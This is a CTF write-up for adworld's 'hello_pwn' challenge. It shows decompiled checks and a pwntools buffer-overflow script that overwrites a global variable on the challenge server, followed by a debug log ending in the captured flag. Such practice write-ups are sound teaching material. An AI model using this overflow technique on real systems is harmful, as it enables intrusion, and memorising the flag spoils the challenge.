hello_pwn-adworld

hello_pwn-adworld

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-q51owmUA-1680659209968)(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAAXNSR0IArs4c6QAAAERlWElmTU0AKgAAAAgAAYdpAAQAAAABAAAAGgAAAAAAA6ABAAMAAAABAAEAAKACAAQAAAABAAAAEKADAAQAAAABAAAAEAAAAAA0VXHyAAAB+ElEQVQoFS2SuY7CQBBE8XjMYXMfu6wQIgOJCAmRkBAh/pLfICABEUAIIQEJ4hL3bQ4b9rHeDtrTdk11dbWVer2uqqqiuHw+PRwOh0KhYDDo9Xpt297tdpvNZrVaHY/Hx+Pxfr+fz6d0uVw305RSGLpxN80D5e2maZplWefz2YFy5gCRrusSelsoX98/msZZut1u0FLK1+vFJ84ej0dRFErDMOLxuOQR8gdBWBYqXvSlp9P9/hfI4E0ikYjFYslkUqL7er2CAE6GiYwG0zSRQaaP7y9Ap9Pp/wun04mx+AaaQMPlcgHNzUgkggfEZwACW8bjcSaToW61WtFoNJ/Pd7vdWq3G0Aza6/WQQGdIyZJujiFIRN56vT4cDsVisdlscoC4Wq02Gg14P/bYtlgulzDRHUQul0MYJSy8J8MqhPjghKCEUYxGI6cjDnY6nUqlwh7m83kgEKAbL1kfI0GPhGw2K5kdAuxnhul0OhwOgfb7/VKpBBGS2u02ONRjrt/vVyaTyWAwgGy/3zMMZLDSnT7odByHjnUVCoVUKiW32y0/DFohoAl7BQ2CpYGmZCp2x32QaFHL5fJisWAmAm6ggFBMiQwQBAf8JbMcOZvNnGWBwwTWREa64zU6GRoc9x1vJHOwPmTgND7we7E7LsCHTtBw84+AhgJhvzqqhewBzcvrAAAAAElFTkSuQmCC)]GFSJ0465积分 7金币 7

108最佳Writeup由 Aur南风 提供

收藏

反馈

难度：7

方向：Pwn

题解数：47

解出人数：6050

题目来源: CTF

题目描述:

pwn！，segment fault！菜鸡陷入了深思

题目附件: 下载附件

题目场景:

nc 61.147.171.105 61871

100%

倒计时: 3时12分39秒

延时删除场景

word_60106C == 1853186401

if ( dword_60106C == 0x6E756161 )
sub_400686();

This point can get segment vault!

if ( dword_60106C == 0x6E756161 )
sub_400686();

from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io=remote('61.147.171.105',61871)


pad=4

pause()

#ret_addr=0x0000000000400686
#num
payload=b'A'*pad+'\x61\x61\x75\x6e'

delimiter='for bof'

io.sendlineafter(delimiter,payload)
io.interactive()

#giantbranch@ubuntu:~/Desktop/study$ nc 61.147.171.105 61871  0000000000400686
#~~ welcome to ctf ~~     
#lets get helloworld for bof
#cat flag.txt
#000000000060106C
# if ( dword_60106C == 1853186401 )
#0x6e756161

giantbranch@ubuntu:~/Desktop/study$ python hello_pwn.py
[+] Opening connection to 61.147.171.105 on port 61871: Done
[*] Paused (press any to continue)
[DEBUG] Received 0x36 bytes:
    '~~ welcome to ctf ~~     \n'
    'lets get helloworld for bof\n'
[DEBUG] Sent 0x9 bytes:
    'AAAAaaun\n'
[*] Switching to interactive mode

[DEBUG] Received 0x2d bytes:
    'cyberpeace{05ad515868cb23ffc3b2a6789998d045}\n'
cyberpeace{05ad515868cb23ffc3b2a6789998d045}
[*] Got EOF while reading in interactive
$